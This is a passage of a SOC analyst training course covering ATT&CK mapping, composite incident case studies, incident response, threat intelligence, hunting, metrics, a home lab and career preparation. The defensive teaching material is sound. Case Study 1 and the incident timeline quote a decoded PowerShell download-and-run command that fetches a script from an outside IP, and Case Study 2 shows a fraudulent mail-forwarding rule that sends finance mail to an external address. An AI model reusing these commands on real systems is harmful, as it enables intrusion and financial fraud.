Tactic	Example Technique (ID)	Real Example
Initial Access	Phishing: Spearphishing Attachment (T1566.001)	Malicious invoice.docm with macro
Execution	PowerShell (T1059.001)	Base64-encoded download-and-run command
Persistence	Scheduled Task/Job (T1053.005)	Task recreating malware on reboot
Privilege Escalation	Valid Accounts (T1078)	Reuse of stolen domain admin credentials
Defense Evasion	Obfuscated Files or Information (T1027)	Base64/XOR-encoded payloads
Credential Access	OS Credential Dumping: LSASS Memory (T1003.001)	Mimikatz-style memory read
Discovery	Remote System Discovery (T1018)	net view, nltest, BloodHound-style enumeration
Lateral Movement	Remote Services: SMB/Windows Admin Shares (T1021.002)	Psexec-style lateral execution
Collection	Archive Collected Data (T1560)	Staging data into a password-protected zip
Exfiltration	Exfiltration Over C2 Channel (T1041)	Data sent out over the same beacon channel
Impact	Data Encrypted for Impact (T1486)	Ransomware encryption event

LEARN WITH ABHIRUP

7.3 Using ATT&CK; Day-to-Day, Not Just for Reports

- **Tag every ticket** with the ATT&CK; technique(s) observed — over months this builds a heatmap of what your organisation actually gets attacked with, guiding where to invest in new detections.
- **Use it to spot gaps:** if your SIEM has strong detections for Initial Access and Execution but nothing for Lateral Movement, you will catch the start of an attack but miss it spreading.
- **Use it during investigation** to predict next moves: if you've confirmed T1003.001 (credential dumping), immediately check for T1078 (valid account abuse) and T1021 (lateral movement) using those dumped credentials — don't wait for a separate alert to tell you to look.

■ PRACTICAL EXERCISE — Exercise 7.1 — Map a case study to ATT&CK;

Take the ticket from Section 6.4 (the backup account) and, purely as a thought exercise, imagine it turned out malicious instead of benign. Which ATT&CK technique would the 14-failed-then-success pattern map to? (Check the Appendix's ATT&CK quick reference if you're unsure — it's the same technique used in Chapter 8's Case Study 1.)



CHAPTER 8

Practical Case Studies — Real Investigations Walkthrough

This is the core chapter of the course. Each case study is a composite, built from patterns that repeat across real public breach reports and SOC case studies — not a copy of any single incident. For each one: read the alert, try to reason through the investigation yourself before reading the analyst's walkthrough, then check the resolution and lessons learned.

Case Study 1 — Phishing to PowerShell to C2

■ REAL-WORLD SCENARIO — The Alert

EDR fires: WINWORD.EXE spawned powershell.exe on host FIN-LAPTOP-22, user r.sharma in the Finance team, at 10:14 AM on a Tuesday.

Investigation

```
# Sysmon Event ID 1 - process creation (simplified)
ParentImage: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
CommandLine: powershell.exe -nop -w hidden -enc SQBFAFgAKAB0AGUAdwAtAE8AYgBqAGUAYwB0ACAA
TgBLAHQALgBXAGUAYgBDAGwAaQBLAG4AdAaPAC4A...
User: CORP\r.sharma
UtcTime: 2026-03-14 10:14:22

# Decoded (base64 -> UTF-16LE) command line reveals:
IEX(New-Object Net.WebClient).DownloadString('hxxp://185.220.101.47/update.ps1')

# Sysmon Event ID 3 - network connection immediately after
Image: powershell.exe DestinationIp: 185.220.101.47 DestinationPort: 80
```

Encoded PowerShell (-enc), spawned from Word, immediately followed by an outbound download — three independent red flags stacking on one process chain.

The analyst pulls the email gateway logs for r.sharma and finds an email received at 10:11 AM, subject “Invoice_March_Overdue.docm”, from a spoofed external domain one character off from a known vendor's real domain (typosquatting). The attachment's macro is the root cause.

Escalation & Containment

- 1 Tier 1 escalates immediately — encoded PowerShell + external download from an Office parent process is a near-certain true positive, no further triage needed to justify urgency.
- 2 Tier 2 isolates FIN-LAPTOP-22 via EDR network containment (keeps the agent connected for forensics but cuts all other network access).

- 3 Threat intel lookup on 185.220.101.47 confirms it is a known Tor exit node / C2 relay reported by multiple OSINT feeds in the prior 48 hours.
- 4 SIEM search across the whole environment for the same destination IP and same email sender/subject finds two more employees received the identical email; neither had opened the attachment.
- 5 Email security team blocks the sender domain and recalls the message from all mailboxes.

Resolution & ATT&CK; Mapping

Stage	ATT&CK; Technique
Initial Access	T1566.001 — Spearphishing Attachment
Execution	T1059.001 — PowerShell
Defense Evasion	T1027 — Obfuscated Files or Information (base64 encoding)
Command & Control	T1071.001 — Web Protocols

■ ANALYST NOTE — Lesson learned

Root cause was a macro-enabled document type (.docm) that should have been blocked at the email gateway entirely for external senders — the post-incident review's top recommendation was a policy change, not just a new detection rule. Good incident reviews (Chapter 9) always ask “what control would have prevented this outright”, not only “what detected it”.

Case Study 2 — Password Spray Leading to Cloud Account Takeover

LEARN WITH ABHIRUP

■ REAL-WORLD SCENARIO — The Alert

Sentinel fires a password-spray correlation rule: single external IP 103.45.12.9 attempted logon against 11 distinct corporate email accounts within 8 minutes, with 2 successes.

Investigation

```

SigninLogs
| where IPAddress == "103.45.12.9"
| project TimeGenerated, UserPrincipalName, ResultType, Location, AppDisplayName
| order by TimeGenerated asc

# Result (simplified):
10:02:11 a.khan@corp.com 50126 (fail) Vietnam Office365 Exchange Online
10:02:14 b.roy@corp.com 50126 (fail) Vietnam Office365 Exchange Online
10:02:19 c.dutta@corp.com 0 (SUCCESS) Vietnam Office365 Exchange Online
...
10:09:40 s.iyer@corp.com 0 (SUCCESS) Vietnam Office365 Exchange Online

```

ResultType 0 = success. Two of eleven accounts had reused, guessable passwords and no MFA enforced.

For the two compromised accounts, the analyst checks post-logon activity and finds a new mail forwarding rule silently created on c.dutta's mailbox, forwarding all mail matching subject containing “wire” or “payment” to an external Gmail address — a classic Business Email Compromise (BEC) setup for financial fraud.

```

# Exchange audit log entry
Operation: New-InboundRule
Parameters: -Name "Archive" -ForwardTo "extern.finance.copy@gmail.com"
            -SubjectContainsWords "wire", "payment", "invoice"
UserId: c.dutta@corp.com ClientIP: 103.45.12.9

```

Attackers naming the rule 'Archive' is a common social-engineering-of-the-mailbox-owner trick — designed to look boring if the user ever notices it.

Escalation & Containment

- 1 Both compromised accounts force-reset (password + revoke all active sessions/tokens).
- 2 The malicious inbox rule is deleted and Exchange audit logs preserved as evidence.
- 3 MFA is immediately enforced org-wide for accounts that lacked it (identified as the root enabling gap).
- 4 SIEM search confirms no wire transfer was actually completed — the rule was created only 40 minutes before detection; Finance is alerted to scrutinise any pending payments touched in that window regardless.

Stage	ATT&CK; Technique
Credential Access	T1110.003 — Password Spraying
Persistence	T1098.002 — Additional Email Delegate Permissions (mailbox rule)
Collection	T1114.003 — Email Forwarding Rule

■ ANALYST NOTE — Lesson learned

MFA gaps are consistently one of the highest-return findings a SOC can surface to leadership: a single spray attack succeeded only because two accounts lacked it, out of an entire organisation.

Case Study 3 — Slow, Quiet C2 Beacons

■ REAL-WORLD SCENARIO — The Alert

A threat-hunting query (not a real-time alert — this was found proactively, see Chapter 11) surfaces a workstation, DEV-WKS-14, making an HTTPS connection to 91.203.5.66 every 300 seconds $\pm$ 4 seconds, for the past six days, including weekends when the user was on leave.

Investigation

```
index=firewall dest_ip=91.203.5.66
| stats count by src_ip, dest_ip
| eval avg_bytes=48213/count

# Payload size per connection is nearly identical every time (~1.2KB out, ~0.9KB in)
# JA3 fingerprint of the TLS handshake matches a known JA3 associated with a
# publicly documented commodity C2 framework (per threat intel feed lookup)
```

Consistent tiny payload size plus machine-precise timing plus a known-bad JA3 fingerprint together push this from 'maybe automated software' to 'near-certain C2'.

EDR process history on DEV-WKS-14 shows the responsible process is a renamed binary, `svhost.exe` (note: missing the second 'c' — masquerading as the legitimate `svchost.exe`), running from `C:\Users\Public\` rather than `C:\Windows\System32\`.

Escalation & Containment

- 1 Host isolated immediately via EDR; full memory and disk forensic image captured before any remediation, since this is now a confirmed intrusion, not a suspected one.
- 2 Malicious binary hash searched across the entire EDR fleet — zero other hosts match, indicating this was likely a targeted, single-host foothold rather than a worm-like spread.
- 3 Root cause traced to a pirated software installer the developer had downloaded from a torrent site roughly six days prior, matching the beacon's start date exactly.
- 4 Host wiped and reimaged rather than “cleaned” — standard practice once a masquerading persistence binary is confirmed, since full certainty of complete removal is rarely achievable otherwise.

Stage	ATT&CK; Technique
Defense Evasion	T1036.005 — Masquerading: Match Legitimate Name or Location
Command & Control	T1071.001 / T1573 — Web Protocols / Encrypted Channel
Persistence	T1547 — Boot or Logon Autostart Execution

■ ANALYST NOTE — Lesson learned

This intrusion sat undetected for six days because no real-time alert fired — it was found only through proactive hunting (Chapter 11). This is the strongest practical argument for why hunting matters even in a SOC with mature detection engineering: some things simply never trip a threshold-based rule.

Case Study 4 — Insider Data Staging Before Resignation

■ REAL-WORLD SCENARIO — The Alert

A DLP (Data Loss Prevention) rule fires: user m.chen copied 4,200 files from the shared “Product Roadmap” drive to a personal USB device over two hours on a Friday evening.

Investigation

HR system integration (a common SOC data source many analysts forget to check) shows m.chen submitted resignation paperwork three days earlier, with a last working day the following Monday. File access logs show this volume and breadth of access is a sharp deviation from m.chen's normal pattern of touching 10–20 files per week relevant only to their own project area.

```
# File access audit log (simplified)
2026-03-13 18:02:04 m.chen READ \\fileserver\ProductRoadmap\2026\Q3-strategy.pptx
2026-03-13 18:02:11 m.chen COPY -> E:\ (removable, VID_0951&PID_1666, "SanDisk Ultra")
... (4,198 more lines, all COPY events to the same removable device, same 2-hour window)
```

The removable-device VID/PID pair is what lets the analyst confirm a specific physical USB device, useful evidence if this proceeds to a legal/HR case.

Escalation & Containment

- 1 This is escalated to HR and Legal *alongside* the security team — insider cases are one of the few categories where a SOC analyst's job is to gather and preserve evidence, not to unilaterally act (e.g. do not confront the employee directly).
- 2 Account access is not revoked immediately without HR/Legal sign-off, to avoid tipping off the employee before evidence (including the physical device, if recoverable) can be secured.
- 3 A full audit of all file access for the two weeks prior is pulled to establish whether this was a single event or a pattern.
- 4 Once HR/Legal authorise action, account access is suspended effective end of that business day and the case is handed to Legal for next steps.

Stage	ATT&CK; Technique
Collection	T1005 — Data from Local System

Stage	ATT&CK; Technique
Exfiltration	T1052.001 — Exfiltration over USB

■ ANALYST NOTE — Lesson learned

Insider-threat cases are procedurally different from external-attacker cases: legal admissibility of evidence and cross-team coordination (HR/Legal/Security) matter as much as the technical finding itself. Know your organisation's insider-threat playbook *before* you need it — acting unilaterally on a hunch can itself create legal exposure for the company.

■ PRACTICAL EXERCISE — Exercise 8.1 — Write your own case study

Pick any one case study above and rewrite the “Investigation” section assuming one key fact changes: in Case Study 1, assume the destination IP had *no* threat-intel hits at all (a brand-new, unknown-reputation address). Would you still escalate at the same urgency? Justify your answer using only the evidence that would remain — this is exactly the kind of judgment call real Tier-1 shifts require daily.



CHAPTER 9

Incident Response — From Detection to Lessons Learned

Chapter 8 showed IR decisions embedded inside case studies. This chapter zooms out to the formal process behind those decisions — the NIST SP 800-61 incident response lifecycle, which almost every SOC playbook is built on regardless of company or industry.

9.1 The NIST IR Lifecycle

Phase	Goal	Key Activities
Preparation	Be ready before an incident happens	Playbooks, tooling, training, tabletop exercises, contact lists
Detection & Analysis	Confirm and scope the incident	Triage (Ch.6), log correlation, timeline building
Containment	Stop damage from spreading	Short-term (isolate host) and long-term (segment network, rotate creds)
Eradication	Remove the root cause	Delete malware/persistence, patch the exploited vulnerability, remove attacker accounts
Recovery	Return to normal operation safely	Restore from clean backup, monitor closely for re-infection, phased reconnection
Post-Incident Activity	Learn and improve	Lessons-learned meeting, report, updated detections/playbooks

9.2 Containment: Short-Term vs Long-Term

Containment is rarely one action — it is a deliberate sequence balancing “stop the attacker” against “don't destroy evidence or tip them off before you're ready.”

- **Short-term containment:** immediate, reversible actions — EDR network isolation (keeps agent connectivity for forensics while blocking all other traffic), disabling a compromised account, blocking an IOC at the firewall/proxy.
- **Evidence preservation:** before eradication, capture what you'll need later — memory image, disk image, relevant log exports — especially if legal action or regulatory reporting may follow.
- **Long-term containment:** rebuilding a clean environment for the affected system to operate in while the full eradication plan is executed — e.g. moving a compromised server to an isolated VLAN with tightly monitored egress while a rebuild is scheduled.

■ ANALYST NOTE — The classic mistake: killing the process too early

A common Tier-1 instinct is to instantly kill a malicious process the moment it's found. This can destroy volatile evidence (in-memory strings, network connections tied to that process) and can also trigger a “dead man's switch” some malware families use to trigger destructive behaviour if abruptly terminated. Standard practice: isolate network access first (stop the damage), then follow your organisation's forensic capture steps before killing/removing anything, unless active, ongoing damage (e.g. live ransomware encryption) makes immediate termination the lesser risk.

9.3 Building an Incident Timeline

Every non-trivial incident needs a single master timeline merging evidence from every log source into one chronological view — this is what makes scope and root cause visible.

```
INCIDENT TIMELINE - INC-2026-0091 (Case Study 1 style)
10:11:03 Phishing email delivered to r.sharma (Email Gateway)
10:14:02 Invoice_March_Overdue.docm opened (EDR - file open event)
10:14:19 WINWORD.EXE spawns powershell.exe with -enc flag (Sysmon EID 1)
10:14:22 Decoded payload identified: DownloadString from 185.220.101.47 (Analyst decode
)
10:14:24 Outbound HTTP connection to 185.220.101.47:80 (Sysmon EID 3 / Firewall)
10:14:31 update.ps1 payload dropped to %TEMP% (Sysmon EID 11)
10:22:00 EDR alert fires, Tier 1 begins triage (SIEM/EDR)
10:41:00 Host isolated via EDR (Tier 2 containment action)
11:15:00 Threat intel confirms 185.220.101.47 as known C2 relay (TI platform)
11:40:00 Environment-wide sweep confirms no other host contacted this IP (SIEM)
```

A timeline like this, built once, becomes the backbone of the final incident report, the lessons-learned meeting, and (if needed) any regulatory disclosure.

LEARN WITH ABHIRUP

9.4 Communication During an Incident

Technical containment is only half the job; a major incident also needs disciplined communication:

- **Internal technical updates:** frequent, factual, to the IR team and management — what is known, what is still being investigated, what is being done next, and by when the next update will come.
- **Executive summaries:** non-technical, focused on business impact and decisions needed from leadership (e.g. “do we take the customer portal offline for two hours to patch?”).
- **Legal/regulatory:** many jurisdictions and industries (GDPR, HIPAA, PCI-DSS) have mandatory breach notification timelines — know your organisation's obligations and involve Legal early, not at the end.
- **Customer/public communication:** handled by Legal/PR, but the SOC/IR team supplies the accurate technical facts those statements depend on.

■ PRACTICAL EXERCISE — Exercise 9.1 — Draft an executive update

Using the timeline above, write a 3-sentence, non-technical executive update suitable for a CISO who has ten seconds to read it before their next meeting. Include: what happened, current status, and what (if anything) is needed from them.

9.5 The Lessons-Learned Report

Every real incident, regardless of size, should end with a short report addressing the same core questions:

- 1 What was the root cause, and what specific control gap allowed it?
- 2 How long from initial compromise to detection (dwell time), and to containment?
- 3 What detections worked well, and what would have caught this earlier?
- 4 What concrete actions (with owners and deadlines) come out of this — not vague statements like “improve awareness training”, but specific, measurable changes.
- 5 Were the existing playbooks accurate, or did the responding team have to improvise? Update them.

■ REAL-WORLD SCENARIO — Why 'blameless' post-incident reviews matter

Mature SOCs run lessons-learned meetings as blameless: the goal is fixing the system (technology, process, training) that allowed the incident, not assigning individual fault. A user who clicked a well-crafted phishing email is not the root cause — the absence of a control that should have stopped the email from arriving, or contained the blast radius once clicked, is. SOCs that punish the reporting employee reliably see under-reporting of future incidents, which is far more costly than the original click.

LEARN WITH ABHIRUP

CHAPTER 10

Threat Intelligence for SOC Analysts

Threat intelligence answers a question triage constantly needs answered fast: “has this IP/domain/hash/behaviour been seen doing bad things elsewhere?” Used well, it turns a blank unknown into instant context; used poorly, it becomes a pile of unread PDF reports nobody operationalises.

10.1 The Three Levels of Threat Intelligence

Level	Audience	Example
Strategic	Executives, board	“Ransomware groups are increasingly targeting our sector via VPN appliance vulnerabilities.”
Operational	SOC managers, IR leads	“A specific ransomware affiliate is using this exact phishing lure and this C2 infrastructure pattern this month.”
Tactical	Tier 1/2 analysts (you)	IOCs: specific IPs, domains, file hashes, JA3 fingerprints, YARA rules — directly usable in a query.

10.2 IOCs vs TTPs — Know the Difference

An Indicator of Compromise (IOC) is a specific artifact — an IP, a file hash, a domain. A Tactic, Technique, and Procedure (TTP) is a behaviour pattern. IOCs are cheap for attackers to change (a new C2 domain costs nothing); TTPs are expensive to change (rewriting an entire toolkit's approach takes real effort). This is why detections based on behaviour (Chapter 5's beaconing and encoded-PowerShell examples) tend to survive much longer than detections based on a single hash or IP.

■ ANALYST NOTE — The Pyramid of Pain

David Bianco's well-known “Pyramid of Pain” ranks indicator types by how much it costs an attacker to change them if you detect on that type: hash values and IP addresses (trivial to change, low pain) at the bottom, rising through domains, network/host artifacts, tools, up to TTPs (very costly to change, high pain) at the top. A SOC that only blocks hashes and IPs is fighting a losing, reactive game; a SOC that detects TTPs forces the attacker to rebuild their entire approach.

10.3 Operationalising Threat Intel in the SIEM

Raw intel is useless until it is fed into your tooling as an active lookup or watchlist.

```
# SPL (Splunk): enrich firewall logs against an IOC lookup table
index=firewall
| lookup threat_intel_ips.csv ip AS dest_ip OUTPUT is_malicious, ti_source, ti_confidence
| where is_malicious="true"

# KQL (Sentinel): join against a Threat Intelligence indicator table
CommonSecurityLog
| join kind=inner (ThreatIntelligenceIndicator | where Active == true)
  on $left.DestinationIP == $right.NetworkIP
| project TimeGenerated, DestinationIP, Description, ConfidenceScore
```

This is exactly what powers the 'threat intel confirms known-bad IP' step you saw in every Chapter 8 case study — not manual lookups, but automated enrichment on every query.

10.4 Free / Accessible Threat Intel Sources Worth Knowing

- **MITRE ATT&CK**; — the technique catalogue itself, free and continuously updated.
- **AlienVault OTX (Open Threat Exchange)** — community-submitted IOC pulses.
- **Abuse.ch feeds** (URLhaus, MalwareBazaar, ThreatFox) — high-quality, free, machine-readable IOC feeds.
- **VirusTotal** — hash/URL/domain reputation lookups, useful for individual analyst-driven checks.
- **National CERT advisories** (e.g. CISA in the US, CERT-In in India) — sector and country-specific alerts.

■ PRACTICAL EXERCISE — Exercise 10.1 — Enrich a real IOC

Take any domain or hash from Chapter 8's case studies (they are illustrative, not real active IOCs) and practice the workflow: how would you check it across two different free intel sources, and what would you do differently in your triage note if one source flagged it and the other had no data at all?

CHAPTER 11

Threat Hunting Fundamentals

Threat hunting is the proactive counterpart to alert-driven triage: instead of waiting for a rule to fire, a hunter forms a hypothesis about how an attacker *might* be present undetected, and goes looking for evidence — exactly how Case Study 3's beaconing intrusion was found.

11.1 Why Hunting Exists Even in a Mature SOC

- Some techniques (Case Study 3's slow beacon, living-off-the-land tool abuse) generate no reliable threshold-based alert by design.
- New/unknown malware has no existing signature or reputation hit — hunting can catch it before intel catches up.
- Hunting results directly feed back into Chapter 5 — every successful hunt should produce a new, permanent detection rule so the next occurrence is caught automatically.

11.2 The Hypothesis-Driven Hunting Loop

- 1 **Form a hypothesis:** grounded in ATT&CK, threat intel, or an anomaly you've noticed (e.g. "If an attacker has a foothold, they are likely enumerating Active Directory using LDAP queries that look different from our normal admin tools").
- 2 **Identify the data needed:** which log source(s) would contain evidence if the hypothesis is true?
- 3 **Query and analyse:** look for the pattern, focusing on outliers and rare events rather than volume.
- 4 **Confirm or refute:** most hunts find nothing — that is a successful hunt too, and should be documented (it proves coverage, not failure).
- 5 **Operationalise:** if something is found, convert the hunting query into a standing detection rule.

11.3 A Worked Hunt: Rare Parent-Child Process Pairs

One of the highest-yield, lowest-effort hunts: process pairs that are individually normal but almost never occur together, and are rare across your whole environment.

```
# SPL (Splunk): find rare parent-child process pairs across the fleet
index=sysmon EventCode=1
| stats count by ParentImage, Image
| where count < 3
| sort count

# Interesting hits typically include:
# - outlook.exe -> cmd.exe           (Office spawning a shell - rare and suspicious)
# - explorer.exe -> rundll32.exe with unusual arguments
# - mmc.exe -> powershell.exe       (management console spawning PowerShell)
```

'Rare in the whole fleet' is the key filter — individually any of these processes are common; the specific parent-child pairing at low volume is the signal.

■ PRACTICAL EXERCISE — Exercise 11.1 — Run your own hunt

In your home lab, run the rare-parent-child-pair query above after generating a mix of normal activity and one deliberately “suspicious” chain (e.g. spawn PowerShell from Word, as in Case Study 1). Confirm your query surfaces the planted chain and note how many total unique pairs your small lab produces — this gives you a feel for how this scales (and gets noisier) in a real multi-thousand-endpoint environment.

11.4 Hunting Cadence & Documentation

Mature SOCs run hunts on a cadence (e.g. one focused hunt per week per hunter) tied to a backlog of hypotheses prioritised by current threat intel and known coverage gaps — not ad-hoc “when there's spare time,” which in practice means never. Every hunt, successful or not, gets a short report: hypothesis, data sources used, query logic, findings, and any new detection created as a result.



CHAPTER 12

SOC Metrics, Reporting & Communication

Metrics turn a SOC's work from “trust us, we're doing something” into demonstrable value that justifies budget, headcount, and tooling investment — and, day to day, they tell the SOC itself where it is actually weak.

12.1 The Core Metrics Every SOC Tracks

Metric	Definition	Why It Matters
MTTD (Mean Time to Detect)	Average time from compromise to detection	Shorter = less dwell time for attackers to cause damage
MTTR (Mean Time to Respond/Resolve)	Average time from detection to containment/closure	Reflects process efficiency and analyst effectiveness
False Positive Rate	% of alerts closed as not-a-real-threat	Too high wastes analyst time and causes alert fatigue
Alerts per Analyst per Shift	Volume handled	Capacity planning; sustained overload leads to burnout and missed alerts
Escalation Accuracy	% of Tier-1 escalations Tier-2 confirms as valid	Measures Tier-1 triage quality
Detection Coverage (vs ATT&CK;)	% of relevant techniques with an active detection	Shows where blind spots exist

■ ANALYST NOTE — Metrics can be gamed — watch for it

Optimising MTTR in isolation can push analysts to close tickets fast and shallow rather than thoroughly — exactly the wrong incentive. Mature SOCs pair speed metrics with quality metrics (like escalation accuracy and post-incident review findings) so one cannot be improved by sacrificing the other.

12.2 Alert Fatigue: The Silent SOC Killer

A SOC drowning in low-value alerts inevitably starts closing things faster and with less scrutiny — this is how real attacks get missed inside a wall of noise, not because analysts are careless but because the system trained them to move fast. Tracking false-positive rate *per rule* (not just overall) lets detection engineering target the worst-offending rules for tuning first.

12.3 Reporting Upward: What Leadership Actually Wants to See

- Trend lines over time (are we improving?), not just point-in-time snapshots.
- Business-relevant framing: “we reduced average ransomware precursor dwell time from 6 days to 9 hours this quarter” lands harder than “MTTD improved 94%” with no context.
- Honest gaps: leadership trusts a SOC that names its own blind spots and asks for what it needs to close them, far more than one that only reports good news.

■ PRACTICAL EXERCISE — Exercise 12.1 — Build a one-slide SOC summary

Using any three metrics from the table above (you can invent plausible numbers for practice), write the bullet points for a single slide a SOC manager could present in a monthly leadership review. Keep it to four bullets maximum — forcing this constraint is itself good practice for real reporting.



CHAPTER 13

Build Your Own Home SOC Lab

Every query, log format, and case study in this course can be reproduced yourself with entirely free tools. Build this lab in parallel with Chapters 4–11 — reading about a beacon is not the same as watching one appear in your own SIEM.

13.1 Minimum Viable Lab Architecture

Component	Free Tool Option	Purpose
Hypervisor	VirtualBox or VMware Workstation Player	Host all VMs on one physical machine
SIEM	Wazuh (all-in-one) or the Elastic Stack (ELK)	Central log collection, search, and correlation rules
Victim Endpoint	Windows 10/11 evaluation VM	Generates the Windows Event Logs & Sysmon data used throughout the course
Endpoint Telemetry	Sysmon + a SIEM-compatible log shipper (Winlogbeat / Wazuh agent)	Rich process/network visibility (Chapter 4.2)
Attacker Machine	Kali Linux VM	Safely generates the attack traffic you'll detect
Adversary Simulation	Atomic Red Team	Runs individual ATT&CK; techniques safely and repeatably, without needing real malware
Network Visibility	Zeek or Suricata (installed on a virtual tap/span port)	Produces DNS/connection logs like Chapter 4's examples

13.2 Build Order

- 1 Install a hypervisor and create an isolated internal network (host-only / NAT network) so lab attack traffic never touches your real home network.
- 2 Stand up Wazuh (single all-in-one installer is fastest to start) or an Elastic Stack instance as your SIEM.
- 3 Build a Windows victim VM, install Sysmon with a well-known public configuration (SwiftOnSecurity's sysmon-config is the standard community starting point), and install the log-shipping agent so events flow into your SIEM.
- 4 Enable command-line auditing via Group Policy (Chapter 4.1's callout) — do this before anything else, it's the single most commonly forgotten step.
- 5 Build a Kali attacker VM on the same isolated network.

- 6 Install Atomic Red Team on the Windows VM and run your first technique (T1059.001 PowerShell execution is a good, safe first test) to confirm logs actually appear in your SIEM end-to-end.
- 7 Recreate Chapter 5's queries against your own live data, and Chapter 8's Case Study 1 chain manually (open a macro-enabled doc that spawns PowerShell) to see the full picture appear yourself.

■ REAL-WORLD SCENARIO — A word on legality and safety

Everything in this lab must stay fully isolated from any network you do not own or have explicit authorisation to test on. Never point attack tooling — even “just practicing” — at any system, network, or account outside your own lab environment. Unauthorised access or attack traffic against real systems is illegal in essentially every jurisdiction regardless of intent, and “I have permissions” only applies to systems you genuinely own or have documented written authorisation to test.

13.3 Generating Realistic Log Volume

A lab with one VM clicking one link produces almost no noise — which makes tuning practice unrealistic. Two ways to get closer to real conditions:

- Schedule benign background “normal user” activity (simple scripts opening browsers, files, logging on/off at varied times) so your true-positive signal has to stand out from something.
- Run several different Atomic Red Team techniques across a few days rather than all at once, and practice writing tuning notes (Chapter 5.5) as if this were a live environment maturing over time.

13.4 What to Practice, Mapped Back to Earlier Chapters

Lab Activity	Course Chapter It Reinforces
Run Atomic Red Team T1110 (brute force)	Ch. 5.2 — brute-force/spray detection queries
Simulate a beacon with a simple scheduled script + curl loop	Ch. 5.3 & Case Study 3
Open a macro doc spawning PowerShell	Case Study 1, Ch. 4.2 Sysmon
Create/delete a local user + add to Administrators group	Ch. 4.1 Event IDs 4720/4732
Write and tune your own correlation rule end-to-end	Ch. 5.5 tuning loop
Run a rare parent-child process hunt query	Ch. 11.3

■ PRACTICAL EXERCISE — Exercise 13.1 — Your first end-to-end detection

Goal: from a cold lab, get to “I wrote a rule, triggered the behaviour, watched my own rule fire, and wrote a triage ticket for it” in one sitting. Use T1059.001 (PowerShell execution) via Atomic Red Team as the technique — it is safe, fast, and directly reuses Chapter 5.4's detection logic.



CHAPTER 14

Career Roadmap, Certifications & Interview Prep

14.1 A Realistic Progression Path

Stage	Typical Timeframe	Focus
Foundation	Before first SOC role	Networking + security fundamentals, home lab, this course
Tier 1 Analyst	Year 1–2	Triage speed and accuracy, ticket quality, tool fluency
Tier 2 / Senior Analyst	Year 2–4	Deep investigation, IR leadership on incidents, mentoring Tier 1
Tier 3 (Hunter / Detection Engineer / DFIR)	Year 4+	Proactive hunting, rule authorship, forensics specialisation
SOC Manager / Architect / CISO track	Year 6+	Process, tooling strategy, people management, business alignment

14.2 Certifications Worth Considering (Roughly in Order)

- **CompTIA Security+** — broad foundational baseline, often an HR screening requirement even when not technically demanding.
- **CompTIA CySA+** — SOC-analyst-specific, covers triage, threat intel, and detection concepts directly aligned with this course's Chapters 5–8.
- **Blue Team Level 1 (BTL1)** — strongly practical, hands-on SOC/DFIR skills assessment, well regarded for demonstrating real ability rather than memorisation.
- **GIAC GCIH / GCIA** — respected, deeper incident-handling and intrusion-analysis certifications, typically pursued once you have some hands-on experience.
- **Vendor-specific** (Splunk Core Certified Power User, Microsoft SC-200) — valuable if targeting employers known to run that specific stack.

■ ANALYST NOTE — Certifications open doors; labs and case studies get you through them

Certifications are commonly a resume filter, but interviews for SOC roles overwhelmingly probe for practical reasoning — exactly the “walk me through how you'd triage this” style questions this course's case studies are built to prepare you for. Prioritise being able to talk through Chapter 8's case studies fluently over collecting every certification on this list.

14.3 Interview Preparation — Common Question Patterns

Question Type	Example	How to Prepare
Scenario/triage	“You see 20 failed logons then a success — walk me through your triage.”	Practice narrating Chapter 6's 5-question framework out loud, using your own words
Technical depth	“What's the difference between Event ID 4624 and 4625? What's Logon Type 3 vs 10?”	Know Chapter 4's tables cold — not memorised, but understood well enough to explain why each matters
Tool fluency	“Write a query to find X” (SPL/KQL on a whiteboard or shared screen)	Practice writing Chapter 5's queries from memory in your lab, not just reading them
Behavioural	“Tell me about a time you found something others missed” / “disagreed with a teammate's triage call”	Use your own home-lab hunts (Chapter 11) as real, honest material if you lack job experience yet
Framework knowledge	“Where does credential dumping sit in the kill chain / ATT&CK;?”	Chapter 7 — know a handful of techniques by ID and tactic, not the whole matrix by heart

■ PRACTICAL EXERCISE — Exercise 14.1 — Mock interview yourself

Record yourself (audio is enough) explaining Case Study 3 (the slow beacon) start to finish in under three minutes, as if to an interviewer who has never seen it. Listen back — did you explain *why* each piece of evidence mattered, or just *what* you found? The 'why' is what interviewers are actually screening for.

14.4 Entry Paths If You Don't Have a SOC Job Yet

- Help desk / IT support roles are a common, legitimate entry point into security-adjacent work and often transfer internally to a SOC once you demonstrate interest and lab-built skill.
- MSSP (Managed Security Service Provider) Tier-1 roles often hire with lower experience bars than in-house enterprise SOCs, precisely because volume and variety of alerts builds triage reps fast.

- Bug bounty / CTF participation demonstrates hands-on capability and genuine curiosity, and gives concrete talking points beyond “I read about it.”
- Build and document your home lab publicly (a written report, even a simple blog post, of one Chapter 8-style case study you engineered yourself) — this is exactly the kind of artifact that differentiates a candidate in an interview.



APPENDIX

Cheat Sheets — Ports, Event IDs, ATT&CK, Queries

A.1 Common Ports Quick Reference

Port	Service
20/21	FTP
22	SSH
23	Telnet
25	SMTP
53	DNS
80	HTTP
88	Kerberos
110	POP3
135	MS-RPC
139/445	SMB / NetBIOS
143	IMAP
161	SNMP
389/636	LDAP / LDAPS
443	HTTPS
445	SMB
465/587	SMTPS / SMTP Submission
993	IMAPS
995	POP3S
1433	MSSQL
3306	MySQL
3389	RDP
5985/5986	WinRM HTTP/HTTPS

Port	Service
8080/8443	Alt HTTP/HTTPS proxies

A.2 High-Value Windows Event IDs

Event ID	Meaning
4624	Successful logon
4625	Failed logon
4634/4647	Logoff
4672	Special privileges assigned to new logon
4688	New process created
4697	Service installed
4698	Scheduled task created
4720	User account created
4724	Password reset attempt
4728/4732/4756	Member added to security-enabled group (Global/Local/Universal)
4738	User account changed
4740	Account locked out
5140/5145	Network share / file object accessed
1102	Audit log cleared

A.3 Key Sysmon Event IDs

ID	Meaning
1	Process creation
2	File creation time changed
3	Network connection
5	Process terminated
6	Driver loaded
7	Image/DLL loaded

ID	Meaning
8	CreateRemoteThread
10	Process access
11	File created
12/13/14	Registry create/set/rename
15	FileCreateStreamHash
17/18	Pipe created/connected
22	DNS query
23	File delete

A.4 MITRE ATT&CK; Quick-Reference (Techniques Used in This Course)

ID	Technique	Tactic
T1566.001	Spearphishing Attachment	Initial Access
T1059.001	PowerShell	Execution
T1053.005	Scheduled Task/Job	Persistence
T1547	Boot or Logon Autostart Execution	Persistence
T1078	Valid Accounts	Privilege Escalation / Defense Evasion
T1027	Obfuscated Files or Information	Defense Evasion
